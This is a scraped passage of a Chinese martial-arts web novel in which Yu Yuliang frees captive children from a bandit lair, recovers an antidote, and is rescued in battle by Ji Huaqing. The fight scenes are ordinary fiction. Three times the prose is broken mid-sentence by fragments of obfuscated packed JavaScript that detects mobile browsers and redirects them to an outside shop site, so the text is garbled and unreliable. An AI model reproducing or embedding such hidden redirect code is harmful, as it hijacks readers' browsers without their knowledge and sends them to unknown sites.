那少年道:“我也不知道是什么实验,总之……非常残忍……”他说到这,忽然看了一眼堆放残肢的石桌,随即使劲摇了摇头,似是想把某些记忆从头脑里清除出去。 众人顺着他的目光看去,多少也明白了这间密室里曾经发生了什么。 鲍楚楚皱眉道:“真是可恶!不过你不是幼童,为什么也被关在这了?” 那少年道:“因我是习武之人,抓我时他们恰好需要习武之人作为材料。”他脸上一红,“也怪我自己学艺不精,没能打过他们……” 雨馀凉道:“这位兄台,敢问如何称呼?” 那少年道:“我姓权,名宁。” 雨馀凉道:“权兄,你们被关在这多久了?” 权宁道:“我是一个月前被关进来的,这些孩子,被关进来得更早。” 雨馀凉道:“你们是一直被关在这,没有转移地方?” 权宁道:“是的。” 雨馀凉道:“那么前几日,有没有人把什么东西放进来?” 权宁想了想,道:“有的,是几个瓷瓶。” 雨馀凉心中一突,有些激动道:“这些瓷瓶,在哪?” 权宁示意雨馀凉跟着他,道:“在这。”说着来到墙角一口箱子旁,“我被关在笼子里时,亲眼见到那个叫夏篁的人放进来的。” 雨馀凉道:“夏篁?这里的一切,都是夏篁干的?” 权宁道:“不,夏篁只是打下手,这里是那个叫巴琅的蛮人在主理。平常这里的实验都是他在做,笔记也都是他记录的,外面的蛊虫你们有没有看到?都是巴琅培育出来的。” 雨馀凉看着眼前的箱子,定了定神,慢慢将箱盖打开。 里面果然放着几个瓷瓶。 雨馀凉拿起其中一个瓷瓶打开看了看,见里面是一颗颗黑色的圆球状物什,先是一喜,随后对边潇和碧桃道:“你们看,这个是解药吗?” 碧桃拿过瓷瓶在火把下看了看,又将鼻子凑过去闻了闻,欣喜道:“这是解药没错!” 鲍楚楚道:“既然已经找到了解药,就别浪费时间了,我们快去瑚庄吧。” 雨馀凉点头道:“是极,我们这就走。”他忽然想到了什么,道:“可我们要怎么把权宁和这些孩子带出去?” 碧桃道:“这倒有些棘手了,带着这些孩子目标太大,而且要保证他们该走时走,该停时停,隐蔽好身形不被发现,几乎是不可能的事。” 雨馀凉陷入了苦恼,他不知道瑚庄现在是个什么情况,姬花青怎么样了?覃七霄和尹敕还活着没?他既想快点回到瑚庄,可又不能放任权宁和这些小童不管。 权宁看着他们,疑惑道:“你们不是已经把山寨破了吗?怎么还要躲人?” 雨馀凉道:“我们是悄悄进来的。” 权宁惊道:“你们能来到这,我还以为……这龙虎寨守卫严密,你们是如何进来的?” 雨馀凉道:“寨子里的人似乎都去别处了,所以守卫松散。”他一边说着,一边向洞口的方向走去,“权宁,你带着这些孩子,跟紧我们,别让他们乱跑或发出声音,事不宜迟,赶紧离开吧。” 鲍楚楚听雨馀凉这么说,当即也转身而去。 众人来到洞口处,铎占文问道:“这人要怎么办?” 雨馀凉闻言回头看去,只见铎占文看着先前被雨馀凉威胁带路,现在被点了穴道倒在一边的寨匪。 对,这还有个人,雨馀凉倒真把他忘了。 雨馀凉本打算不管他,却没来由地想起自己刚跟着姬花青学习武功时,二人路遇匪徒,姬花青说杀就杀,干脆无比。 若是姬花青的话,肯定会说,这些人平日里就不知害了多少人,本就该死。 雨馀凉想起先前在龙虎寨中其他屋子里看到的堆砌在一处的珠宝,不用说,这些珠宝都定是他们平时从过路人手里抢来的。雨馀凉再看向之前被关在笼子里的小孩子和权宁,又想到石桌上已经干涸的、深深浅浅的血迹,陡然一抬手,长刀刀刃便送入了那寨匪心口。 眼见雨馀凉陡起杀人,其他人都吓了一跳。一个小童吓得叫出声来,权宁赶紧捂住他的嘴,并蹲下身来软语安慰,同时挡在其他小童身前。 在场的少年虽然都是江湖子弟,却没一个杀过人。鲍楚楚和铎占文就不用说了,谷州刀派在重云门门主郑宝卿这种大派掌门看来宛如过家家,跟真正的江湖沾不上什么边,鲍楚楚虽然整天念叨着要找夏篁报仇,可找到夏篁后具体怎么做,她却也没细想过。瑚庄倒是真正的江湖势力,但边潇和碧桃即使一个是庄主徒弟,一个是庄主剑侍,平常也多是待在瑚庄范围内,几乎没怎么到江湖上走动。 而雨馀凉,虽然在谷州刀派那种地方都属于谁都可以欺负的类型,奈何一从门派出来就碰上姬花青这种前魔教魔头,属于刚出茅庐就长歪了。 二人日日相对,潜移默化间,雨馀凉便沾染了姬花青的做事习性,连他自己都没发觉。直到他在将这名寨匪杀了后,一抬头对上鲍楚楚和铎占文的眼神,两人看向他的眼神复杂,雨馀凉这才如梦方醒般,意识到他离当初那个自己似乎已经十分遥远。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258063|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鲍楚楚和铎占文心里也都在想,这还是从前那个呆蠢木讷,软弱可欺的雨馀凉吗? “啪,啪,啪……”就在这时,突然有脚步声在洞外响起。 雨馀凉心道不好,一脚将寨匪的尸体踢到洞门边的几块大石之后,与其他人一起退入了密室之中,并按动机关将石壁关上。 除角落的石桌外,密室中央还有一张木桌,众人蹲身躲在木桌后面。一众人马躲得急,带起的风将桌上的纸张刮下来,其中一张刚好落在雨馀凉脚边。 雨馀凉在心中祈祷,希望这人只是路过。但越担心什么越来什么,对雨馀凉来说向来如此,只听得脚步声不仅没有远去,反而是进到山洞里来了。 只听一道声音粗声粗气地道:“怎么这山洞没拨人来守?” 另一道声音响起:“头领,寨里大多数人都赶往瑚庄去了,调不开人。这山洞位置隐蔽,应该也不用专门派人来看守……” 雨馀凉听见“头领”二字,不由自主皱起了眉,不知外面的是龙虎寨寨主,还是只是个小头目。又心想:“怪不得龙虎寨里没什么贼人,原来是去瑚庄了,他们去瑚庄做什么?”一股不好的预感在他中升起,糟了,这些龙虎寨的贼人,不会都是被瑚庄召唤去对付姬花青了吧…… 密室外,先前那声音粗嗄的人又道:“不行,这是夏先生和巴先生的地盘,不能没人看着,你一会就去找人来。” 另一人道:“是……那就只有刘八儿了,不过我刚才路过瞭望台时,怎么没看见他?” 又有一道声音道:“先前刘八儿一直在抱怨连续站岗让他睡不了觉,想是这会在什么地方偷偷打盹?” 第四个人哼了一声,道:“瑚庄那边叫人,他听说是打架,就不敢去了。留他在寨子里放哨,他又嫌没让他睡觉,这种人,早该撵出寨子了。” 石壁后,密室中,一众人大气都不敢出一下,雨馀凉感受到汗水从自己前胸冒出,又沿着腹部滑落。 完犊子,听这声音,外面少说有四个人。雨馀凉不知龙虎寨群贼武功如何,更不知自己对上他们能否有胜算,如果可以,他不想与人发生正面冲突,一个人也不想,更别说外面有一群。 众人皆屏息凝神间,突然,雨馀凉有些恍惚,觉得自己似乎在什么地方也曾经历过一样的场景。 狭窄昏暗的密室,密室外他要躲避的人,还有这种紧张的心情。 然而这些零散的画面却如同指间沙砾般,当雨馀凉细细去追想时,它们又仿佛沉进了无尽深渊中,消失得无影无踪。 雨馀凉出神地望着地面,目光停留在先前落到他脚边的纸张上,只见上面写着:“帝屋果剧毒,然与死生蛊同服可得永生。” 雨馀凉看不懂这句话,也不知帝屋果是什么东西,只是“死生蛊”这三个字有些眼熟,似乎在哪里听到过。 雨馀凉心头一震,是了!先前在谷州刀派,夏篁让那些被破坏心脏倒下的蛊毒傀儡重新站起来时,曾说起“死生蛊”、“苏生蛊”什么的,还说什么“生可以死,死可以生……” 一时间无数个念头在雨馀凉脑海中闪过,他将那页纸捡起来,塞进了袖中。 这时听见石壁外那声音粗豪、被称作“头领”的人道:“再去别处看看,你记得要调人过来,调可靠点的人,清楚了吗?” 另一人道:“是,头领。” 雨馀凉这才松了口气,正想着要在这个“头领”离开后,其他人调人来山洞前,赶紧从这出去。不想石壁那头,那名“头领”忽然“咦”了一声,道:“这怎么有血迹?” 雨馀凉瞳孔骤然收缩,心道:“糟了!” 76. 毒蛊(三) 雨馀凉侧耳细听,只听外面沉默了片刻,一人道:“头领,这是刘八儿!刘八儿死了!” 雨馀凉闭上眼,同时将手移到刀柄上。 那头领骂了一声:“妈的。”紧接着就是兵刃出鞘的声音。 又过了一会,其中一人道:“头领,人会不会已经走了?” 那头领沉默一阵,迈开大步,径往石壁的方向而来,伸手按上旁边的机关。 随着隆隆声响,石壁缓缓抬高,那头领才要往密室中看去,只见眼前一道雪亮白光一闪。那头领被晃得眼花,忍不住虚起了眼,但多年的江湖经验让他能够应付眼前的状况,并在心中确定:确实是有人闯入寨中来了。 那头领扭开了脖子,听声辨位,扯住流星锤的链子一甩,圆锤精准击在雨馀凉的刀上,力道又经由长刀传到雨馀凉身上。雨馀凉整个身子被这股力道荡了出去,却也没有惊慌失措,而是借力飘出,在空中一个转折,刀尖倒竖,直指另一个寨匪,那寨匪才刚来得及抬头,众人只听“啊”的一声,又一名寨匪毙在雨馀凉刀下。 这是今天之内雨馀凉杀的第二个人,也是自雨馀凉有记忆起所杀的第二个人。 雨馀凉环顾四周,只见除了那头领,洞里还有五六个寨匪。 边潇、碧桃、鲍楚楚、铎占文、权宁纷纷从密室中赶出,那被称作头领的络腮胡中年汉子看清边潇和碧桃的脸,震骇道:“边公子,碧姑娘,你们怎么在这?” 边潇和碧桃对视一眼,似乎都不知道怎么说,边潇转过头看向那名络腮胡汉子,双手举起又往下压,仿佛在安抚后者情绪,道:“林头领,你听我解释……” 林头领道:“有什么话,等到了寇庄主面前再说吧!”他头一摆,对身后寨匪道:“上!瑚庄那两个抓活的,其余的,全部弄死!” 话音刚落,就有几名寨匪各展兵器同时向雨馀凉攻来,鲍楚楚和铎占文见状,也不在一旁干看着,当即拔刀上前帮忙。 从谷州刀派出来,鲍楚楚和铎占文也将木刀换成了真刀。其中两名寨匪见鲍楚楚和铎占文拔刀而来,便分别抽身去对付他们,剩下几名寨匪继续围攻雨馀凉。 雨馀凉对跟人打架有一种天然的畏惧心理,以前在谷州刀派时,都不消说每逢大较了,就是平时辜俊愿让他们这些弟子两两比试,雨馀凉都紧张得不行,手脚发麻如喝水吃饭一般,其他弟子就不像他那般。之后跟姬花青一同在江湖行走,雨馀凉也跟人真刀真枪地动过不少次手了,多次实战之后,在打架这方面,雨馀凉确实比以前在谷州刀派时熟稔了很多。 如今面对眼前的三个敌人,雨馀凉在心中回想姬花青所教授的,对面来一招,他便拆一招,若拆不了,便伸刀格挡。渐渐地,敌人的一招一式在雨馀凉眼前都变得无比清晰,他的谷州刀派刀法也使得越来越顺手,过不多时,便将对面三名寨匪都放倒在地,过程之容易,连雨馀凉自己都还有些没回过神来。 雨馀凉解决了自己这边的敌人,心想鲍楚楚和铎占文那边应该也完事了,转过头看去,却见鲍楚楚和铎占文还都分别和自己面前的寨匪激斗正酣。 只见鲍楚楚每和敌人过一招都退后一两步,最终竟被逼到了洞壁角落,雨馀凉见鲍楚楚那边形势不妙,忙跃至鲍楚楚身旁,反手横削,与鲍楚楚相斗的寨匪侧颈被划了一道极大的口子,鲜血喷涌而出,寨匪当即倒地。雨馀凉身上被溅了几滴血,却丝毫不停,斜刺里纵出,从后面一刀刺穿了正与铎占文相斗的那名寨匪的咽喉。 铎占文也打得吃力,正要举刀架住敌人即将挥出的一刀,那一刀却迟迟没有落下,铎占文定睛一看,这才发觉一截亮银色的刀尖自敌人喉头冒出,红色鲜血兀自从伤口处淌个不停。 雨馀凉缩肘回刀,与铎占文相斗的那名寨匪在晃了几晃后也向前扑倒。 鲍楚楚和铎占文见雨馀凉救了自己,又看到先前被雨馀凉砍倒在地的三名寨匪,心里都在想:数月不见,他的武功怎的突然进步这么多?还在谷州刀派时,雨馀凉不过是中下游水平,可如今雨馀凉的武功竟似远在他们二人之上。 鲍楚楚和铎占文这边也解决了,如今洞内的寨匪就只剩下那个林头领。雨馀凉将刀刃一甩,看向正双斗林头领的边潇和碧桃,若有必要,自己还得赶去那边帮忙。 适才双方一动上手,边潇和碧桃就双双抽出佩剑向林头领刺去。瑚庄剑法自出机杼,本门的几套剑法本就相互补全,边潇和碧桃分别以同门的不同剑法使来,相互配合之下威力着实不可小觑。然而那位林头领武功也很不一般,雨馀凉观察了片刻,就已看出林头领的武功比方才那些小喽啰强出不是一星半点,他执刀在一旁逡巡,准备等林头领一露出破绽就上前夹击。 不想边潇却突然喝道:“雨兄快走,这里有我和碧桃!” 雨馀凉听了这话先是一震,他不愿将边潇和碧桃扔在这里,道:“要走一起走!”说着踏上一步就要加入战局。 碧桃双手握剑挡下林头领一记流星锤,回头道:“快去!姬姑娘还在瑚庄,我们死不了!” 雨馀凉听她提起姬花青,咬咬牙,对鲍楚楚等人道:“走!”鲍楚楚和铎占文率先冲出山洞,雨馀凉和权宁护着一众幼童随后离开。 及至出了山洞,雨馀凉才发觉天已经蒙蒙亮了。 这位林头领是龙虎寨中的一个小头目,昨晚瑚庄那边传来急信,说有强敌闯上门来,要龙虎寨调拨尽可能多的人手前去瑚庄。于是龙虎寨寨主亲自点了一帮精兵强将前去瑚庄,将林头领留在寨中看家。 边潇和碧桃想阻止林头领,却又因瑚庄跟龙虎寨的同盟关系跟这位林头领相识。他们先前目睹了雨馀凉的武功和杀人手段,不想雨馀凉伤了林头领性命,便决定由他们二人来拖住林头领,让雨馀凉带着鲍楚楚、铎占文、权宁以及小孩子们先走。 林头领见雨馀凉等人冲出山洞,喝道:“哪里走?”说着朝洞外大声呼喊:“来人啊,来人!有人闯寨,别让他们活着从寨里出去!”他这几声叫喊中夹杂着内力,声音穿透到寨中每一个角落,顿时整个寨子的人都知道发生了什么事,当即各执兵器朝山洞的方向而来。 雨馀凉等人甫一出山洞,就看见寨匪源源不断地从寨中各处围涌上来,眼下形势,再不想动手也不现实了,于是雨馀凉、鲍楚楚、铎占文挺身上前,将孩童们挡在身后,对付起从四面八方冒出的寨匪来。雨馀凉等人在前面与敌人相斗,权宁则在后方近距离保护小孩子们。 另一头,边潇碧桃和林头领一路斗到了山洞外。边潇和碧桃不想伤了林头领,林头领也因这两人和瑚庄庄主寇传维之间的特殊关系而不敢轻举妄动,无法放开手脚跟边潇和碧桃拼斗。 林头领一边对付边潇和碧桃,一边瞥眼看见一拨拨寨匪去拦雨馀凉等人,却都被雨馀凉一拨拨杀了回去,当下也甚是焦急,于是右脚勾住流星锤的铁链将流星锤斜踢出去,只听一声痛呼,边潇伸出左手按住自己的右臂,他的右臂已然被流星锤砸伤,林头领又伸脚一勾边潇脚跟,边潇重心不稳,摔倒在地。 边潇倒在地上,右臂又受了伤,暂时无法挥剑,他和碧桃相生相成的剑法就被破了,只剩碧桃一人,林头领也不像刚才那般费劲,三下五除二就将碧桃手中的剑击飞。 林头领这一着,既能使边潇失去行动能力,又不至于伤了他和碧桃性命,到时候也好向寇传维交代。 清除了眼前的障碍,林头领手握流星锤,飞身就朝雨馀凉而去。人未至,锤先到,林头领尚未落地,流星锤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267625|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就已然要碰到雨馀凉后脑。 碧桃和边潇“雨兄小心”的惊呼传来时,雨馀凉还没意识到发生了什么事,直到自己的头发被劲风带起,发根处传来些微的痒意,雨馀凉才心中一悚,当即做出反应,没有任何武功招式和技巧,上半身只以最本能的动作往旁边倒去。下一刻,流星锤就擦着他耳边飞过。尽管耳朵并没有被擦伤,他仍然感到自己的耳廓被一股寒风刮得生疼。 雨馀凉这一下躲得凶险至极,他只觉得自己的腰狠狠闪了,但连痛呼也来不及,雨馀凉又立即着地滚开,因为林头领的下一锤、第三锤、第四锤……接踵而至。 林头领握住铁链,将流星锤抡得虎虎生风,雨馀凉在地上连打了好几个滚避开这几锤,他避开这几锤的动作可以说十分狼狈,但以雨馀凉眼下的武功,能避开这连环数锤已经是很不容易的事。 雨馀凉正拼命往一边滚去,却忽然发现流星锤似乎已经没有砸过来了,他坐直身子,只见林头领侧身对着他,而林头领此刻对付的人,竟然是权宁。 原来权宁眼见雨馀凉被林头领逼入绝境,又见其他寨匪都去攻击鲍楚楚和铎占文,便拔出佩剑朝林头领背心猛刺。本来以林头领的功夫,权宁在数丈外都能被他察觉,但此刻林头领一门心思都在雨馀凉身上,想要赶紧杀了雨馀凉,全没留意身后的权宁,直到权宁的剑尖离林头领只有几寸时,林头领才突然面目狰狞地转过身来,以铁链挡住了权宁的这一剑,紧接着一脚踢中权宁胸口,权宁被踢得连人带剑飞了出去。 权宁刚好摔在那群小童之间,他身子发颤,好不容易才仰着头坐起,只见他嘴角鲜红一片,显然是刚刚那一脚挨得极重。 权宁这一下偷袭没能得手,却激怒了林头领,后者直接抡起流星锤向权宁砸去,权宁危急之中横剑招架,雨馀凉坐起来后刚好目睹这一幕,心道:“这样不行,危险!” 先前在山洞里,雨馀凉也用刀直接招架过林头领的流星锤,那时雨馀凉之所以这么做,是因为他已打定了主意要借流星锤的力先去杀了另一名寨匪。流星锤十分沉重,除非内功深厚,否则一般情况下,用刀或剑这种细长的兵刃直接招架是万万不可的,这一点雨馀凉在谷州刀派时就听辜俊愿反复强调过,之后姬花青教授雨馀凉武功,也提醒过。此刻权宁用剑直接硬挡流星锤,不知他是不清楚这点,还是命在顷刻之际身体下意识地做出了错误动作。 下一刻,果不其然,权宁被重重地掼在了地上,他又喷出一口鲜血,看上去短时间内是难以爬起来了。只是方才权宁那一挡也不足以消去流星锤上的力,圆锤继续向权宁身后荡去,眼见就要砸中他身后的一名女童。 权宁使出全身的力气扑到女童身前,试图替她当下这一击,郑宝卿和铎占文被其他寨匪缠住,依旧脱不了身,这一锤下去,权宁怕是当场要脑花迸溅,那女童也不一定幸免,雨馀凉咬咬牙,自己也向前扑去,挡在了权宁和女童的前面。他将内力集中在双手和刀刃上,眼看流星锤就要砸下,汗水打湿了雨馀凉的额发,他不知以自己现在这种程度的内力,能否接下这一锤。 碧桃正替边潇查看伤势,这时才看到雨馀凉那边的情况,两人当即想赶过去,却也来不及了。 雨馀凉见流星锤砸下,尽管已经做了应敌的准备,却还是没忍住闭了眼。 “当”的一声巨响传来,这声响震得雨馀凉耳膜嗡鸣,但想象中刀刃折断虎口迸裂双手剧痛的情形似乎并没有出现。 雨馀凉将眼睛睁开。 只见面前的人一袭黑衣,略微卷曲的头发在空中飘拂。她背对着雨馀凉,先维持着将流星锤击飞的姿势,随后缓缓站直了身子,面向林头领。 雨馀凉激动万分,甚至有些想哭,道:“花青前辈!” 77. 毒蛊(四) 林头领将手掌摊开,看着方才流星锤脱手飞出时铁链在自己手心磨出的血痕,咬牙道:“你又是谁?” 姬花青没有说话。 林头领见她不答,愈发恼怒,拔出腰间短直刀,低吼一声就向姬花青扑来。 姬花青不闪不避,直接走过去,左手抓住林头领手腕,右手提刀在林头领脖子上轻轻一抹,便从后者身侧穿过。 林头领因为惯性继续向前扑出几步,然后身子前倾,接着便倒地不起了。那把短直刀也从他手中滑了出来,呛啷一声落在地上。 无论是姬花青朝林头领走过去,还是用刀将林头领割喉的动作,看起来都极其随意,她就这样轻描淡写取了林头领性命。 雨馀凉看着姬花青,一时有很多问题想要问她。 她是怎么在那种情况下从瑚庄出来的?又怎会来到龙虎寨? 雨馀凉跑到姬花青身边,正要开口,却瞥见两道身影一前一后落至众人跟前,待雨馀凉看清两道身影后,心脏差点停止跳动。 是巴琅和夏篁。 这究竟是怎么回事? 姬花青也看着巴琅和夏篁,雨馀凉来到她身边,她虽然没有看雨馀凉,却抬手摸了摸后者的头,道:“做得很好。” 雨馀凉有一瞬的怔愣,伸手摸到刚刚姬花青抚过的头顶。 初来瑚庄时,他和姬花青产生了一点不愉快,这之后就有了背着姬花青将覃七霄和尹敕救出瑚庄的想法,再后来于瑚庄地牢中目睹姬花青和瑚庄众人相斗,雨馀凉当时不明就里,从密道逃出瑚庄寻找救兵的过程中,他却逐渐想明白了,姬花青不会违背她和覃七霄尹敕二人的约定,也不会真心和瑚庄那些人合作。 至此,雨馀凉心中的别扭尽皆消散,心中留下的唯有对姬花青的担忧。 然而寻找救兵的过程并不顺利,报时的更鼓几次响起,每一次都提醒雨馀凉时间一直在往后推移,雨馀凉也揪心更甚。 从小到大对他好的人,除了雨休,便只有姬花青了。虽然姬花青确实表里不一、难以捉摸,很多事也不跟他说,但奇怪的是,雨馀凉就是能感觉到姬花青是真心对他好。人能感受出来别人是不是真心待自己,姬花青带给雨馀凉的感受跟辜俊愿就完全不一样。 他如何能再眼睁睁看着陪在自己身边的人离他而去?像雨休那样的事,他再也不想经历第二次了。 如今见到姬花青平安无事,雨馀凉先是松了口气,随后心中大喜,尽管敌人在侧,也不以为意。 姬花青夸奖雨馀凉的语气很温柔,不知是不是夸他方才舍身挡在权宁和那小女孩之前。 雨馀凉见姬花青一直看着巴琅和夏篁,于是也朝这两个人看去,只见巴琅和夏篁与雨馀凉逃出瑚庄前相比,脸上、身上皆多了好几处伤口。他想起什么,又赶紧转头看向姬花青,却见姬花青除绑在发尾的发带不见了,头发散开,以及脸上多了汗水污迹外,并没有其他变化,身上也没有伤口之类。 尽管如此,雨馀凉也看出,姬花青累了,只见她轻轻喘着气,肩膀微微起伏。 原来在石门落下,将众人分隔开后,姬花青便展开了和瑚庄众人的激斗。虽说瑚庄之人——包括寇传维的徒弟们、管家邹仕以及庄中壮士——一齐上阵对付姬花青,但武功差距较大,瑚庄这边除了巴琅、夏篁、寇传维,其他人很难插得上手,就是在这三人中,和姬花青相斗的也主要是巴琅和夏篁,寇传维要趁其他两人将姬花青的注意力吸引住,在一旁观察好久,才能找到机会刺出一剑。 但姬花青无论怎么和巴琅夏篁缠斗,都能将寇传维时不时袭来的冷剑挡下或拆解。 虽然瑚庄各处的人源源不断地涌向地牢,但邹仕见姬花青不好对付,唯恐瑚庄的人不够,还派人去给与瑚庄暗中结盟的匪寨龙虎寨送信,让他们尽可能多地挑选好手来瑚庄支援,同时对寇传维道:“庄主,将人往龙虎寨带!” 寇传维一下明白了邹仕的用意,邹仕是要不计成本、用尽一切方法将姬花青尽快解决了。比武相斗,情况瞬息万变,若再这么放任姬花青与他们打下去,说不定会产生不堪设想的后果。 巴琅也觉得这是个办法,依眼下形势,他和夏篁、寇传维三人联手,再加上瑚庄那么多人都不能把姬花青怎么样,虽然他的诛仇指是姬花青的克星,但此招不能短时间内连续使用,所以大部分时候其他人都是被姬花青压制。 于是巴琅一边和姬花青打,一边和夏篁寇传维一起把姬花青朝龙虎寨的方向驱赶。送信的人已经前往龙虎寨了,与此同时,庄内其他人各携兵器,还在不断往寇传维这边来。 不一会,瑚庄众人便和姬花青打到了地牢之外,众人且行且斗,又一路出了庄子。 姬花青在与巴琅夏篁相斗时,仍有余裕对付不断涌上来的瑚庄其他人,基本上是趁将巴琅和夏篁逼退的间隙,顺便捅死几个瑚庄之人,时间一久,竟有不少人都死在姬花青的刀下。 瑚庄整个庄子的人注意都在姬花青身上,倒没人去管覃七霄和尹敕了。一众人马离开地牢后,覃七霄左顾右盼了一番,对尹敕道:“尹兄弟,我们走。” 尹敕道:“……走?” 覃七霄道:“还待在这里干嘛?过年吗?” 尹敕道:“我们中了毒,无法运使内力,现在外面乱成一锅粥,随便来个人都能砍死我们!” 覃七霄耐心解释:“你说的没错,所以,现在只有跟着花青姐走才是最安全的。” 尹敕一口气喘不过来:“她?安全?她刚刚差点杀了我!” 覃七霄道:“那你现在死了吗?” 尹敕道:“那倒没有。” 覃七霄道:“没死就对了,这是我们逃出瑚庄的绝好机会,别废话了,快来!” 覃七霄和尹敕走出地牢,发现除地上的尸体外,周围空荡荡的,又见不远处夜空下火花四溅,正是姬花青和其他人相斗正酣,而瑚庄大部队人马也四下里围在一旁。 人都集中在姬花青那边,正好给了覃七霄和尹敕潜逃的机会,他们一边寻找遮蔽物隐藏身形,一边远远地跟在拼斗的人群后面。 在半路上,刚好碰到龙虎寨的人正往瑚庄这边赶,寇传维见强援到来,心想这下总算要结束了,可他还没欣慰多久,就发现龙虎寨这些人来不来都没什么区别,姬花青在对付巴琅和夏篁这两个强敌的同时,照样可以找到间隙杀伤山寨众贼,就跟先前杀瑚庄的人一样。众人一边走一边打,等来到龙虎寨扎寨的山下时,姬花青更是一路从山脚杀到了山顶,从山寨大门杀到寨子深处,然后在千钧一发之际救下了雨馀凉。 龙虎寨寨主和几个当家,全被姬花青在和巴琅、夏篁、寇传维相斗时顺便解决了。姬花青虽然没有受伤,但与人连续不断地车轮战,打了一整夜,她不是铁打的身躯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277779|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此时握刀的手也不由得微微颤动。 巴琅、夏篁都挂了彩,这时寇传维也赶到了,他虽与另外两人合斗姬花青,但能插得上手的时候少,心想反正也轻易插不上手,于是审时度势,十分鸡贼地没有上前,而是在一旁看着其他人和姬花青斗,因此也没怎么受伤。 寇传维的几个徒弟紧随寇传维身后,虽然寇传维一个劲地催他们去帮巴琅和夏篁,这些弟子不敢违抗师命,确实也提剑上了,但他们身上亦没什么伤口,不知是不是姬花青有意不伤他们。 寇传维一眼就看到了边潇和碧桃,冷笑道:“我的好徒弟,好剑侍。”他又扭头对其他徒弟道:“都看清楚了,你们的大师兄,是瑚庄叛徒,你们的李师兄,也是他害死的,接下来谁能取了他首级,回去后重重有赏。” 边潇起初听寇传维说自己是瑚庄叛徒,只沉默不言,之后又听寇传维说是他将李师弟害死的,再也忍不住,道:“李师弟明明是为师父您所杀,这么多人都亲眼看到,却为什么说是我害死的?” 寇传维不理边潇,只对站在自己身后的瑚庄弟子道:“人的确是我杀的,可我为什么要杀他,去问问你们大师兄。”说着伸手朝边潇一指。 瑚庄弟子们皆略微低着头,对于寇传维的说法,没有人反对,却也没人附和。 寇传维见这些徒弟们没有明确表示,于是一扬手道:“你们若还当自己是我徒弟,就站到我右手边,不过来的,一律视为叛徒!” 他这么一说,这些弟子才开始动起来,接二连三地走到寇传维右边。 这些瑚庄弟子,他们虽然跟边潇关系处得还不错,也觉得寇传维暴躁残忍,但又审时度势,认为还是瑚庄这边胜算更大,于是一番权衡后终究选择了跟随寇传维。 边潇左手捂着右臂的伤,他额发滑落下来,看着这一幕,一句话也说不出。 最后还剩一个弟子仍站在原地,这名弟子正是雨馀凉和姬花青头一天来到瑚庄,亲眼见到被寇传维扇了几个耳光,被边潇叫做“刁师弟”的弟子,他看看边潇,又往寇传维和其他师兄弟那边看了看,最终也走到了寇传维右边。 覃七霄和尹敕也来到了龙虎寨中,上气不接下气地躲在一块石头后面,看着对峙的众人。 妈的,没想到提不起内功,跑起来这么费劲。 覃七霄一边气喘一边对尹敕道:“怎样……我早跟你……说过,花青姐……能当上我玄同教右使……可不只因为……是教主徒弟这么……简单……” 姬花青一边和巴琅等人且行且战,一边血洗了大半个瑚庄和几乎整个龙虎寨,一路跟过来的覃七霄和尹敕目睹了全程。 寇传维见姬花青和雨馀凉汇合,又见自己的大弟子边潇和剑侍碧桃站在他们身后,随即想到瑚庄和龙虎寨的人手都损失得差不多了,不由得急怒攻心,对巴琅吼道:“废物!都是因为按照你说的做,事情才会发展到眼下这个地步!” 巴琅眉头紧皱,道:“庄主稍安勿躁,再过一会,我就又能使出诛仇指了,到时候用这一指就能将她拿下。” 寇传维不屑道:“你那什么诛仇指虽然厉害,却也要打中人才行,人都打不中,说什么将人拿下?” 巴琅道:“正如庄主所言,所以到时候需要庄主、夏兄替我创造机会,我们齐心协力,共同完成此事。”他看向姬花青,冷然道:“我会杀尽无涯派的余孽!” 78. 毒蛊(五) 诛仇指? 雨馀凉第一次听说这一武功,还是在姬花青显露真容的那座破庙,听那个长得像骷髅一样的葛陟谯提起的。 这之后在神医萧吞那,姬花青自述曾筋脉俱断武功俱失,她之所以要自己给自己种下毒蛊,皆是因诛仇指而起。 昨晚在地牢,以及方才,雨馀凉又听见了“诛仇指”三字,而说出这三个字的,正是曾对姬花青使出诛仇指的蛮疆人巴琅。 雨馀凉心想,这究竟是什么招式?他从最开始听说“诛仇指”时,就觉得这个招式的名字很奇怪,因为这个名字跟其他武功实在很不一样,“诛仇指”这个名字,就像为某种目的专门创出的武功一样。不仅如此,他也从没在雨休的笔记中看到过叫这个名字的指法。 适才,当巴琅说出自己要用诛仇指杀死每一个无涯派的人时,姬花青也是内心一咯噔,这是她离开谷州后再一次听人说起“无涯派”这个门派。 巴琅又和无涯派有什么关联? 尽管有很多疑问,姬花青还是先要把眼下的事料理了,她问雨馀凉:“你怎么到这里来了?” 她是被瑚庄众人有意引来这边的,怎么也没想到,雨馀凉会出现在这里。 雨馀凉道:“花青前辈,解药就在这寨子里。” 